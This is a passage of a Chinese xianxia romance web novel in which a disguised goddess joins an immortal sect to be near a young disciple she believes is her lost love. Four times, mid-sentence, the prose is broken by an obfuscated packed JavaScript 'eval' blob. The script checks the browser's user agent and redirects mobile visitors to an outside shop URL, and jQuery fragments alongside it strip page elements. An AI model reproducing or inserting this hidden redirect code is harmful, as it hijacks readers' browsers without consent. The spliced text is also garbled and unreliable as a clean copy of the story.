青时重新将帖子从怀里拿出,递到她的面前。 析木高高兴兴接过:“就当你又帮我一次,下次请你吃饭如何?” 他极浅淡地笑了笑:“好。” 早晨山谷里的风自然凉爽,红透的枫叶漫山遍野地零落,美得不似人间。 “弟子遴选要开始了。”青时提醒她:“我带你去大殿。” 析木点点脑袋:“嗯。” 两刻钟后。 析木擦了擦额间的汗,望着少年背影忍不住腹诽,就不该相信他能认得路,明明看着挺聪明的,每每让他带路就显得像个呆瓜。 “我方才过来得时候,那条路好像直通大殿处,会比较快。” 青时脚步顿住,看向析木指的那条路,思索一会:“唔,应该是,那我们走那条路吧。” 又过了一刻钟。 析木觉得呆瓜这事一定会传染,她怎么也开始不记得路了?! 这玄寅仙门地界也忒大!她脚都走酸了! “我们能歇会嘛?我脚好酸。” 不管,她自诞生以来,从未用双脚走过这么多路,她真的累了想休息。 于是一屁股坐到了边上的石墩子上,捶腿捏腿。 青时走近,掏出白帕子递给她擦汗。 “谢谢。”析木接过,擦完汗正要还过去,她一顿,现下还不能使用灵力用术法清洁,对他说道:“先放我这,回去洗干净再还你。” “快到巳时了,新弟子遴选就要开始。”青时抬头看了眼天色。 析木耷拉着脑袋站起身,她还是不太想用双腿走路,今日一大早天都还没亮,她就开始走山路来寻人,刚刚又绕着山路不停地走,她现在小腿都发酸了。 青时却在她身前半蹲下:“我背你过去。” “好呀!”她自然要接受他的好意,这都是她应得的,谁让他跑到山里修仙,让她好找! 快到大殿门口的时候,仙门弟子和前来求学的新弟子渐渐多了起来,析木点点青时的背:“要到了,放我下来吧。” “那不是青时师兄吗。”一道女声从身后响起。 另一道男声说:“是他,欸,青时师弟,你背上这姑娘是何人?” 二人脚步声渐近,此时析木正好从背上下来,落地整理衣袖。 抬眸便瞧见对面的少年和少女,二人都在直勾勾盯着她看。 青时微蹙眉头,声音发冷:“陆师兄,赵师妹,遴选大会就要开始了,还不准备进殿?” 陆熙收起手中的剑,全然无视青时,笑着问析木:“不知姑娘如何称呼?是否也是来我玄寅仙门求学,参与此次新弟子的遴选?” “叫我云舒就好。”析木摸摸下巴:“不错,我确实是想要进入玄寅仙门。” 赵苏颜长得楚楚动人,目光却锋利:“云舒姑娘并无根基底子,来我玄寅仙门求学的人,至少也都为筑基期的修士,姑娘就这么没准备地过来,怕是毫无诚心。” 析木看她一眼,这仙门倒是奇怪,选弟子不是看资质而是看诚心?筑基?她要这东西干嘛使? 她正要开口,青时出声道:“赵师妹,当初师父带我进来的时候,我也并非修士,毫无根基。” “按师妹的意思,我进仙门也是毫无诚心?”青时反问,又道:“那这么说来,师妹是在说师父喜欢没有诚心的修士了。” 析木闻言一怔,虽说以前青昼也会嘴巴淬毒,但他并不喜欢多管闲事,如今她才与他相识连一天都不到,他竟也会帮她说话。 真是不可思议。 待那赵师妹跺脚离去,青时回头,一脸迷惑问道:“云舒,你为何如此看着我?” “你好看。”她笑着说。 面前的少年显然不禁逗,瞬间烧红了脸颊,好似呼吸也暂停一瞬。 看着呆极了。 析木笑得肩膀都在抖。 陆熙的目光在二人之间来回转悠,“嘶”了一声,朝着青时问道:“师弟与这位云舒姑娘可是旧识?” 析木抱胸思索半晌该如何回答,而青时则是简单许多:“我们是朋友。” 他一向话不多,这说法倒是给人留了很大想象空间,且交代了关系,一般人便也不会再细问。 “嗯,”析木满意地点头赞同:“他说的没错,我们是朋友。” 二人迈步进入辰中殿,新弟子的遴选大会正好才要开始。 准备求学的弟子端坐殿中,待点到名字,方可上前测灵根、回答门中师长的提问。 这些琐碎小事倒也难不倒析木,她微微放出些许仙术遮掩,很顺利便通过初选。 初选末了,便有弟子替师长传话给新弟子,说今日来的人多得出乎意料,让他们这些通过初选的新弟子今日就在仙门中住下,师长们明日再做弟子分配。 析木对这等凡人生活并不熟悉,只好再去找青时:“与我说说仙门日子该怎么过?” 青时帮她提着领来的弟子服,带着她去往新住处。 还好这玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872793|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寅仙门待遇不错,新弟子也是一人一间房。 待青时给她铺好床铺,析木仿佛累极一般趴倒在床上:“好——累——啊——” “你说,做凡人为什么要用双腿行走?为什么要呼吸这人界浊气?为什么还要拜师才能修仙?为什么——” 青时在一旁看得不免发笑:“云舒,你又为何要来此处?” 呃…… 她一时竟是忘了,她的那个弟子遴选招人的帖子,还是从青时那里诓来的,他又哪里会有这么好骗。 析木将头深埋在枕头被褥中,状似艰难地抬了抬手:“大概是想学点仙术,别活得这么累吧……” “好,那我不打扰你休息了,这个传音符你拿着,有事便联系我。”他放下几张符箓在桌上。 “走吧走吧,啊等等!”析木猛地一下坐起身,挠挠头:“今日,多谢你了。” 她才不习惯跟青昼说谢谢,可是,这里是凡间,还是得讲凡间的规矩,最重要的是,她不想给他留下不好的印象。 青时颔首离开房间。 析木这才解开隐匿仙法,浑身灵气大涨,闪身便回了南天门。 “析木上神。”南天门守卫看见她回来,整齐行礼。 “析木,你又去了下界?”星纪款步走近,“笑得这么灿烂,我看你根本不是去执行什么天帝交代的秘密任务。” “快老实交代去了哪?做什么去了?你都多少年没这么笑了。” 析木微微顿住,伸手摸了摸自己的脸,有这么明显吗? “星纪,当真是天帝交代,我怎会骗你?不信你去问问天帝他老人家去。” 她上前一步挽过星纪的手臂:“我不是经常这么笑吗,我笑起来多好看,好看干嘛不多笑。” 星纪被她逗笑,“少自恋了你。” “对了,你为何来此等我?”星纪平时可不会特意来南天门等她。 星纪:“实沈可能出事了。” 析木蹙眉:“六哥?他怎么了?” 星纪道:“有几只天魔入侵我神树玄境,当时实沈追杀出去,到现在还没回来,我们用了花叶鸟也联系不上他。” 析木听得有些揪心:“那怎么办?可是要我过去找他?” 天魔所在的地方是无序之城,那地界除了魔族和伥鬼,一般无人会去,不,是无人敢去。 哪怕是神界之中,如他们这般司武将之职的仙神,若非身怀任务,平日里并不会去那地界。 星纪看向析木,浅浅笑道:“我去。我过去,将实沈带回来。” “那你小心些。”析木拉着星纪的手紧了紧。 星纪曾经多次出入无序之城,以她的能力,必然会平安归来。 可那里毕竟危险,不似神界有清气保护,那地界的东西皆不利于神仙,只对天魔和伥鬼有益。析木难免担忧。 星纪笑着:“等你过来就是告诉你一声,我不在,神树玄境由你们先守着,最近别老想着往下界跑了,知道了吗?” “行,知道啦,快去快回,平安将实沈带回来。” “别只嘴上应付我。” 话落,星纪的身影消失在南天门门口。 56. 遇露浓(三) 星纪太过了解析木,她的话显然被某人当做是耳旁风。 神树玄境。 析木拉着降娄撒娇:“好降娄,你帮帮我吧,我们就换一下班次嘛,待我从下界回来,给你带好多好多好看的话本子!” 降娄能有什么办法,她只是一个平平无奇爱看话本子的小姑娘,“行吧行吧,勉为其难答应你。” 析木高兴地把嘴都要咧到耳后根:“你真好——降娄,除了星纪,你就是全三界最好的神仙了。” 降娄抽回黄裳衣袖,翻了个白眼,咬牙鄙视她:“呵,才排第二。” “那我先走啦,很快就回来。” 再看那边,析木已然跑没了影。 析木再回到玄寅仙门之时,天光已是微亮。 刚进到房间,听见门外有人在喊新来的弟子们起床:“刚来就偷懒?要睡到什么时候去?!” 析木装作刚醒的样子开门,跟着新弟子们的队伍,一同前往大殿再做师长人选的分配。 她昨日便已经问了青时,他的师父叫寻引真人。 别的什么真人、尊者、长老之类的她一概都不认识,管他呢,只要能挑到寻引真人,能陪着他就行,她本就是神仙,修不修行的,压根无所谓。 师长分配,会先询问新弟子的意愿,每个新弟子轮流上台,说出自己心仪的师父,并且说出原因,还要展示一下自己的优势。 最后轮到析木上台,她平静又自然地说出:“我想要跟随寻引真人。”的时候,原本喧闹的大殿,忽然静止一瞬。 随即,底下传来一片窃窃私语: “不自量力,自己几斤几两难道不知吗?” “有心思是好的,只怕是痴心妄想哦!” “灵根资质皆是下品,还好意思做寻引真人的弟子?” “我看她压根不是正经来上课的,定是为了接近青时师兄。” …… 她们的说话声极轻,面上甚至维持着在聊天的正常表情。 可析木就算再如何封闭灵力,那也是个上神,哪怕她们用了隔音术,与她相比到底灵力微弱,她照样可以将她们的对话听个遍。 在一旁报幕叫号的弟子继续问她:“师妹可是想好了?请云舒师妹说一下选择寻引师叔的原因是什么?以及自荐词。” 析木翘起唇角,透过寻引真人的肩膀,看向站在后边的青时:“原因当然是为了他。” “自荐词嘛……”她微微顿了顿,道:“昨日师父已经探查过我的灵脉,想必师父心中已有数。” 她在昨日的初遴选时,特意释放了自己的一些纯净灵力,好让寻引真人将她的“隐藏灵力”记住。 台下的新弟子听着她连“师父”都已经叫了,皆是目露鄙夷之色。 门中的师姐们更是觉得,这新来的师妹不懂规矩,心思深沉欲要博出位。 总而言之,不管是师姐还是一同入门的师妹们,此刻显然都不待见她。 “云舒,可确认要入到我座下?”寻引的年纪看着也不过三十模样,声音却沉稳如暮年老者。 “自是愿意的,师父。”析木笑着。 寻引:“好,今后云舒便入我落樱峰。” 全殿哗然。 谁也没想到寻引真人收徒会这么简单,在玄寅仙门修行多年的弟子们都清楚,寻引真人从来不轻易收徒,如今半只脚踏入登仙途更是如此,他在玄寅仙门已有数百年,也只收过五个徒弟罢了。 选徒过后,寻引让析木留下,显然是有话要对她说。 析木原以为是交代一些关于新入门的事情,却不料…… 寻引对着她深鞠一躬:“仙人,在下虽不知仙人为何要入我玄寅仙门,但想必定是有原因,只要仙人需要,在下会尽力完成仙人所愿。” 析木怔愣原地许久,她的灵力竟澎湃到掩藏不住吗?最近修为有涨得那么厉害吗…… 她舌头都开始打结,摸摸飘在胸前的发带:“啊……呃……你是如何认出我的?” 寻引也似有些疑惑,道:“仙人忘了?八年前,咱们曾在十里镇见过一面,当时您带着青时在那处求医……” 析木听着他的说辞,久久无法回神,她根本不记得有这回事,那个带着青时寻医的女人与她长相一样?那会是谁……而青时,原来是认识这张脸才帮她么? 析木忽然有些气闷,说不上到底在气什么,可胸口就是止不住地发涩。 青时在带着析木去落樱峰的路上,清晰感应到析木的低气压。 他歪着脑袋问她:“云舒,你怎么了?” 析木站定转向他,半天,板着脸问:“那个女人是谁?” 咬牙切齿的,很凶。 青时明显一头雾水:“哪个女人?” 她瞬间火气上来:“哪个?!你有很多吗?” 青时有些被问懵了,手足无措地不知该怎么回答。 看他这无辜模样,析木更是气极,眼都微微泛红:“我才离开你多久时间,你就跟着漂亮小姑娘走了?” “还偏生选个与我长得一样的?” “不是,我没有……” 他这笨拙模样反而让析木愈发恼火:“别跟着我!” 甩下一句话,她便飞身离去。 可她自己也不知道该去哪里消气,干脆落地屠妖湖边,寻了一棵大树坐下。 远处晚霞如画,烟霞紫和橙黄色交织着映在蓝色幕布上。 偶尔有成群的鸟儿飞过,自由又惬意。 再看近处的屠妖湖,如镜子一般的湖面倒映着天幕,人间绝景也不过如此。 大约是数日都没好好休息过,析木坐在树上看着看着,便靠着巨大的树干睡了过去。 再醒来时,一件满是琥珀松香的宽大外套披在她身上,却不见人。 夜幕降临,茭白月光盈盈洒落。 析木拿起他的外套下树。 看了一圈也没人影。 正想着怎么回落樱峰,脚步顿住一瞬。 但见湖中心漂浮着一只红色小兽,通体透亮,漂亮得紧。 析木踏上湖面,一步一步蹑手蹑脚地靠近那小兽。 离得近了,她终于看清这是一只灵兽小龟,好像趴在湖水中虔诚地跪拜着什么。 析木就那么蹲在湖面上看着,等它做完跪拜仪式,她戳了戳它的小脑袋:“小龟,你在拜谁?” 红色小龟吓了一跳,一溜烟退开老远,整个龟都在颤抖着,声音弱小又可爱:“你……你是谁?!” 还挺傻乎乎的。析木笑着走过去将小龟抱起:“我自然是仙女啦,你的脚怎么受伤了也不知道包扎?” 析木伸手在它脚上一点,霎时间,绿色微光掠过,伤口消失不见,小龟舒服得喟叹一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930092|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将脑袋靠在她胸前:“谢谢你。” “不客气。”她笑得轻柔,再抬手抚摸这小鬼的脑袋。 话音刚落,析木只觉怀中一空,鼻间闻到一阵熟悉的琥珀松香。 青时闪身而来,一把抱走小龟,蹲下将它放回湖面上:“它在拜玄武大神。” 析木这才动用灵力对湖底探查,原来还真有一玄武坟埋在此处。 她冷着脸对青时说道:“它刚才已经拜完了。” 青时起身看她,不说话,过了会儿,伸手拿过她随意放在肩上的他的外衣。 抖落开,又重新将自己的外衣披在她身上,道:“入秋了,晚上风大。” 晚风像是听懂他的低语,适时从二人身前吹过,撩起析木头发上长长的红色发带,随着风,飘荡在青时的心口前舞动。 轻盈的发带随风牵引,摇摇摆摆,一下一下的,无声拍打着,仿佛一只柔弱无骨的纤纤小手。 二人离得很近,她看着他这嫩得掐出水的小白脸,心念一动,踮起脚尖,伸手扶住他腰间,在他脸上轻轻亲了一口。 她在心里打赌,他只属于她。 不论是此时,还是那些遥远的,她不在的日子里,他都只属于她。 青时没有反应,仿若石碑,直直立在那里,双眼凝视着她,紧紧地盯着析木瞧。 “干嘛,要把我盯出一个洞来?”她仰着脸,唇上的口脂被他的脸蹭去了一点。 月光下,她本就灵气逼人的一双眼,在星辰点点的反照下,就像是一只小妖精,在对他盛情邀请。 他神使鬼差地吻了上去。 析木反应过来时,青时早已俯身靠近,她只觉眼皮上一凉,他微凉的唇落在上面。 他的身体明显在微微颤栗,亲吻一触即分,像是怕碰碎了她。 析木唇角翘起,拢着外衣靠在他怀里,环着他的腰,声音是她平日里不曾有过的娇:“青昼,我想你了。” 听见怀里的姑娘这么说,青时顿住片刻,放下举到半路的手,重新垂在两边,声音毫无温度地提醒她:“我不是青昼。” 她却执拗:“你是,我说你是你就是。” “喂!湖中央那两个人!”湖岸边有巡逻弟子的声音传来:“你们两个是哪座峰的?!” “难道不知弟子规训上写着,屠妖湖未经允许不可擅自进入?” “哎,他们好烦。”析木嘟喃,打了个响指,把岸上的几个巡逻弟子换了个地界。 继续抱紧青时,她有些不满地拽过他的手,按在自己腰间:“你也是这么对那个姑娘的?” 她轻哼一声:“难怪人家不跟你在一起了。” 青时无奈道:“云舒,我不知道你在说谁,能不能……” “说清楚一点?” 析木气哼哼地开口:“你师父说,在八年前曾见过我领着你去寻医?” “是你。”他说。 语气近乎不容置疑。 “是你。”他又说了一遍,抬起手拢住她。 好似一只拥有翅膀的兽,在用翅膀拢住自己的宝贝,不容外人窥视。 “你再骗我我就真的生气了!” 青时:“我没……” “喂!” “我说……”刚头巡逻的弟子又从远处跑了回来,坚持不懈地朝这边吼道:“我说,你俩赶紧给我从湖面上下来!” 57. 遇露浓(四) 又被打断。 好不容易捡起来的心情,一下子又消失无踪,析木抬眼去看青时,满是怨念:“这次换你来。” 青时垂眼看向她,微微扬起唇角,拉着她的手一个闪身,带着她疾行离开湖面。 任由身后巡逻守湖的弟子喊叫声划过天际:“你们两个有本事别跑——给我等着——” 疾行术到达后,析木扶着青时手臂站稳,才发现这山头栽满了四季不谢的樱花。 片片花瓣在月光下缓慢旋转零落,散发着温柔的荧荧之光。 她伸手去接:“好漂亮……这里就是落樱峰?” 青时将少许灵力汇聚指尖,轻扬起一阵风,漫山的樱花花瓣尽数随风而起,像是不会散去的粉色烟花,铺满暗夜之幕。 析木从未见过这样的花景,一时有些看呆,惊喜的笑靥久久不褪,笑得眉眼弯弯,唇角翘得高高的。 她拉着青时狂奔,跑到山峰上最高的大树上去看,青时也由她去。 二人站在树端,她欣喜地转眼望向青时,却顿住。 他的一双眼那么温柔地只看见了她,只装下一个她。 就好像她无论要他陪着做什么,他都会同意,哪怕是微不足道的小事,哪怕是天塌下来的大事,不管是什么,他都会去做,甚至赴汤蹈火。 那是一种近乎信徒般的虔诚。 她忽而想起很多很多年前,她曾想要青昼送她一束花。 因为看见凡间男子总爱给心仪的姑娘送花,所以她也想要。 她做不来小女儿情态的细腻暗示,唯有明示着对青昼说:“青昼,我也喜欢花朵的。” “所以?”他双手环胸问她。 “所以你若是送我的话,我会很高兴。”她满眼的期待。 青昼说:“如此小事,有何值得高兴?” 她一下被堵得不知道该说什么。 可他问得认真,还不带一丝情绪,她连生气都不知道往哪使劲。 析木垂下眼,任由眸中发烫的泪珠滚落。 青时一下慌了神,忙将帕子拿出来递给她:“云舒?怎么了……是,不喜欢吗?” 她咬着下唇抬眼望着他,泪水模糊了视线,透粉的小脸上满是晶莹,再一次告诉他:“我喜欢花的,很喜欢。” 可这泪水就这样决堤,不受控制地越流越多,像打开了什么出口,一下全部倾泻而出。 析木哭得愈发大声,脑袋挨着青时的肩膀,还一边打他:“混蛋……你明明就会送花……也不愿意送我……” “呜呜呜呜……” 青时一脸呆愣:“我……” “呜呜呜呜……你是不是也送那个姑娘了……呜呜呜呜……” 青时手忙脚乱:“没有,没有别的姑娘……” 可他的解释完全被析木无视。 她越哭越伤心,那些压了两千多年的回忆一下子泛上来,酸涩又汹涌地包裹着她。 她在他怀里哭了好久,久到开始打嗝。 青时一遍又一遍给她擦泪,不厌其烦。 析木都快觉得不好意思:“嗝!” “你不许、嗝!不许、说出去!嗝!” 青时笑得无奈,用袖子替她擦泪:“好。不说出去。” “师弟!”不远处有一道男声传来。 析木闻声一窘,有点慌不择路地躲到青时背后,把哭花的脸埋在那,手指把青时的衣服抓得紧紧的。 青时回首,对那人颔首道:“穆师兄,你回来了。” “是啊师弟,”穆理性格随和,常和师兄弟们打成一片,与青时的关系也比其他人跟亲近一些,对青时笑道: “这次是跟着大师兄一起回来的,大师兄的首徒梁无恙你可还记得?与咱们年龄相仿的,他都开始收弟子啦!没想到吧?这回给掌门开心得不行,说一定要给大师兄办一个接风宴,顺道欢迎欢迎最小辈的新人。” “不过……” 青时问:“怎么了穆师兄?有话不妨直说。” “嗝!” 只听青时的背后传来一道少女打嗝的声音。 穆理方才一路过来,远远就听见女子哭声,他张望着朝青时身后探看,伸手点点析木露出来的衣角,笑得暧昧:“我这才离开没几月,师弟这便有了好消息?嗯?” “不是……”青时难得在师兄弟面前有些慌乱。 “我懂,师弟,哎,” 穆理兀自叹息,遥望着月光,面露感慨:“师弟也长大了,徒留师兄我孤家寡人呐……” “行吧,师兄不打扰你们花前月下的,明日宴会在白侠峰,各峰弟子都去,记得来。” “是,师兄。”青时应道。 待穆理离开,青时转身去看析木。 只见她红彤彤的一张小脸,泪痕半湿,坠了一脸的晶莹,眸中水光潋滟,如盛星月。 整个人好似一株娇艳欲滴的粉色花朵。 他微微怔住一息,很快调整,笑着朝她伸出手:“云舒,我带你去院中的新住处,以后你就住在我们落樱峰。” 析木把手放在他掌心,弯唇笑着说道:“麻烦你了哦,青时小师兄。” 待她来到落樱峰的弟子院落才知晓,原来青时早已替她将东西收拾了过来,屋子里明显刚打扫过,干净得一尘不染。 析木高兴地一把拥住他:“谢谢你。” “咳咳!”门口一道女声传来,带着明显调侃意味:“看来我回来得不巧了!” 析木忙松开青时,往院子门口看去,站在那的女子长相清秀,略带棱角,眉眼却和善。 “伍师姐。”青时给析木介绍道:“云舒,落樱峰这里除了你,便只有伍师姐是女子。” 他转向伍晨岚道:“师姐,这是云舒。” 析木对着伍晨岚笑:“伍师姐好,往后还请多多关照。” “小师妹好。”伍晨岚是个还未谈婚论嫁的,撞见两人相拥,这一时也顿觉有些尴尬,不知该进还是该出,她挠挠头:“看来我还是先回……” 青时打住她的话头,道:“师姐,我只是带云舒过来,这便回男子院落了。” 他回望析木,含着笑对她轻声道:“云舒,时辰不早,我先回去。床铺被褥都是新的,洗了也晒过了,桌椅、衣柜也都是刚买回来的,下午我已都打扫过一遍,你若有事,可直接来隔壁院落寻我。” 析木看着他眨眨眼,忽然觉得他怎地像个老父亲似的,怕自家闺女在外头求学受委屈? “放心吧阿爹,女儿一定好好求学。”析木笑着与他玩笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943349|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口的伍晨岚听得乐不可支:“小师妹还真是个妙人啊!哈哈哈哈……” “有趣有趣。师弟,你可真真捡到宝了……” 青时耳根红得快要滴血:“那,我先回去了。” 随后快步离开,不敢再看这里一眼。 析木和伍晨岚在背后笑得前仰后合。 翌日。 白侠峰接风宴上。 整个宴席摆在山林之间,花木错落,边上还有小溪流淌,十分雅致。 青时被安排坐在寻引真人旁边,故而与析木的座位隔得较远。 索性便由伍晨岚带着析木一起过来,顺便将关系好的师姐妹们介绍给她。 这些其实对于析木来说并不重要,不过她觉得伍晨岚的好意难得,并未拒绝。 忽而,前头便响起阵阵起哄声,黑压压一片弟子,围了好几层的人,看着很是热闹,一圈都水泄不通。 “云舒,你在这坐着,先吃点东西垫垫肚子,咱们仙门虽大,素日里规矩也多,可每每宴席之时,大家都像一家人一般相处,你尽可放松。我去那处看看。”伍晨岚道,顺便与云舒介绍坐在右手边的人: “对了,这位是陆熙师兄,掌门的亲传弟子之一,长得确实玉树临风吧?” 陆熙闻声,放下手中杯盏,转头对着析木一笑:“云舒小师妹,前两日我们见过。” 析木对他笑笑,算是打过招呼。 伍晨岚对陆熙道:“陆熙师兄,我们云舒小师妹初来乍到,还牢你费心照顾一下,我去那处看看,凑个小热闹,去去就回。” 陆熙颔首:“小师妹,那自然是要多加照顾的。” 析木也点头:“好,师姐,你去吧,我在这等你。” 她也喜欢听小道八卦故事,不过比起那些热闹,原地坐着等别人回来告诉她,显然省力许多。 “这不是云舒小师妹吗?” 析木正咬了一口脆果,循声抬眸,卓薰儿换下原先的华丽锦袍,穿了一身弟子服站在桌案前,端着一壶清酿。 小师妹?析木不耐地蹙眉:“若我没记错,寻引真人是你师父的师兄,而我也比你先一步拜师,进入寻引真人座下,论起大小,卓薰儿姑娘你,合该唤我一声师姐。” 卓薰儿眼中讶异一阵,仍是笑盈盈的:“哎哟,云舒小师姐,看看我这记性!” 然后她一屁股拉过旁边空着的坐垫,坐在析木边上,端起手中酒壶开始倒酒:“咱们俩同一时间入门,这可都是天赐的缘分,再说嘛,我们早就在山道上碰见过一回不是?来,小师姐,喝一杯我们北荒廷州城的佳酿。” “一般人若是想喝,可都喝不到呢。” 析木嗑着瓜子:“里面不会有毒吧?” 卓薰儿僵住一瞬,咬着牙喝了一杯:“你看。” “云舒小师姐,你可放心喝吧,那边的师姐师兄们都喝了呢。”她指指对面落座的人,再指指酒壶:“这些可都是我从自家带来的,如此美味佳酿,自然是想分给大家品尝品尝。” 析木端起酒杯,再眼前晃悠一阵,拿到鼻翼边嗅了嗅:“确实算得上人间佳酿。” 她着重念出人间二字,旁人不知她身份,倒也听不出什么。 随后,她抬手将杯中酒一饮而尽。 58. 遇露浓(五) 卓薰儿眼见着析木喝下杯中酒,捂嘴笑道:“我可是没错说吧?可还好喝?” 析木其实有点说不上这酒的味道,若说清甜,回味却有一丝丝苦,若说浓烈,这酒又偏偏有一丝清甜。 “哇!” “这着实是神童也!” “厉害厉害!难怪梁无恙这么早就要收徒……” 不远处,围得水泄不通的那一处发出阵阵惊呼。 坐在最上首的掌门、各峰真人长老等人,也都往那一处看去。 “那边究竟发生何事?”卓薰儿也被吸引去注意,欲起身往那处走去:“云舒小师姐,要不咱们也去看看?” “何事喧哗呀?”掌门沉声问道,他在声音中加了术法,更显威严,周遭一下便安静了下来。 坐在一旁的大师兄竺肃起身,笑着回复道:“回掌门,乃是本门最小辈的弟子鉴心。他天生天眼,洞悉万物,且灵根亦是上品,资质极佳。” 掌门抚着白髯笑了:“昨日便听你说过这个小娃娃,抱上来给我瞧瞧。” 鉴心被梁无恙抱了上去。四五岁大小的奶娃娃,圆头圆脑的,难怪方才围着那么多人看他。 伍晨岚回到座位上,遮不住满脸的喜爱:“云舒快看啊,多可爱!哎,好想以后生一个这样可爱的娃娃!” 析木侧目看了她一眼,她长得可不像是会喜欢奶娃娃的人,可却是碰见奶娃娃就走不动道,也是可爱。 鉴心坐在掌门怀里,伸手扒拉着掌门的长髯,惹得掌门开怀大笑。 “你该叫我什么?”掌门问他。 “师父说,他喊您师祖,所以我要喊您曾师祖爷爷。”可爱的童声配着圆乎乎小脑袋,逗得宴会众人都乐不可支。 掌门:“好好好!娃娃聪明得紧,后生可畏啊!在座的各位师叔师祖可都听见了?哈哈哈哈……” 析木闻言也被逗乐,她方才还是小师妹、是小师姐,这会儿突然就涨了辈分,成了师祖之一。倒是还挺有意思的。 掌门又对鉴心问道:“你且看看,席间众多师叔、师祖,哪位更有仙缘?” 鉴心张望着小脑袋,大眼睛扑闪扑闪,额间的天眼纹印流光闪烁。 他的目光扫过一圈,终落在析木这处,笑嘻嘻地,奶声奶气地朝这边喊了一句:“仙女姐姐。” 析木正夹着桌案上的糕点,一不留神,糕点从筷子中间滑了出去。 宴会忽而变得安静,针落可闻。 鉴心从掌门怀里跳脱出来,屁颠屁颠地朝着析木跑来,眼见就要扑进她怀里: “仙女——姐姐——” 就在他快要跑到之时,忽而一根白皙长指从她身侧伸出,抵在鉴心的额头,将他和析木隔开,声音很是冷淡:“不可乱了辈分。” 析木闻着熟悉的琥珀松香,侧首回望:“青时,你何时过来的?” 伍晨岚一把薅过来,将鉴心抱在怀里蹂躏:“哎呀!真可爱,小鉴心离了家可会想娘亲呀?” “嗯……有一点点吧,就一点点。”鉴心奶声奶气地回答。 析木笑着拿了一颗果子给他:“鉴心吃不吃果子呀?” 鉴心探出脑袋,盯着析木眨巴眨巴大眼睛,看看青时,又怯生生地缩回到伍晨岚怀里。 掌门见到这一幕笑得悠然:“这小鉴心怕是怵了青时了。” 一句话引得宴席上众人皆是开怀。 析木用手指点了点青时的肩膀,靠近他小声说道:“你看你,对一个奶娃娃那么凶干嘛。” 把手上的果子塞到他手心:“拿去,快哄一哄鉴心,小朋友爱吃这个,哄哄就会跟你亲近了。” 青时接过果子,直直拿到鉴心眼前。 众人停顿一息,看着鉴心的反应。 却不料他“哇——”地一声哭喊了出来。 青时有点所料未及,转头无辜地看着析木。 她却在捧腹大笑,笑得整个人都很明媚,像个美丽的独一无二的太阳。 鉴心很是喜欢伍晨岚和析木,总蹦跶着往落樱峰跑。 而伍晨岚也正好寻到由头,让鉴心在这住几天,她来照料,还特意整理了一个小房间出来给他住。 于是最近的每日早晨。 “师姐,可有见到我的发带?”析木问隔壁房的伍晨岚。 伍晨岚:“定是被小鉴心拿去玩了,你去他房间找找。” 小鉴心早晨起得早,噔噔噔地从院子里跑过来:“伍师祖,我没拿。” 析木在鉴心的小房间翻了个遍,没找到:“奇怪……我也没有到处放啊……” 她的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943350|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色发带是神界带下来的法器,虽说放在一般人手中无法使用,可到底是神界的器物,丢了总归不太好。 最主要的是,发带扎头发最是方便,她总能几下就扎出满意的发髻,不用耗费过多的精力。 院子门口,青时来接析木去花月峰,上基础课。 这几日,他都过来很早等她。 看着里面鸡飞狗跳的,青时跨入院子问道:“云舒,可能要迟了。” “我的发带不见了。”云舒一手扶着后面的三千青丝,一手继续在柜子里翻找。 “对了,青时,昨日我们一起在河边打水,会不会掉在河里了?” 青时却从怀里掏出一根竹木发簪:“云舒,不若先试试这根发簪?” 析木伸手接过,竹木雕刻精细,还散发阵阵竹子的清香,一看就是用心做的。 她扬起唇角,又递回给青时。 青时一顿,目光瞬间浸湿哀伤:“……你不喜欢……” “不是,你帮我扎发髻,快!要迟到了!”析木跑回梳妆台前坐下,催促他。 “……噢,好。” 青时并没有给他人簪过头发,颇有些笨手笨脚。 析木狠狠嫌弃了一番:“青时,你去学学如何给女孩子扎发髻吧,答应我,多学几个造型,好吗?” 青时听得一笑,声音愉悦:“好,我去学。” 最后插上那根竹木簪子,析木却觉得意外地适合她,简洁又耐看,她满意地在镜子前照了又照。 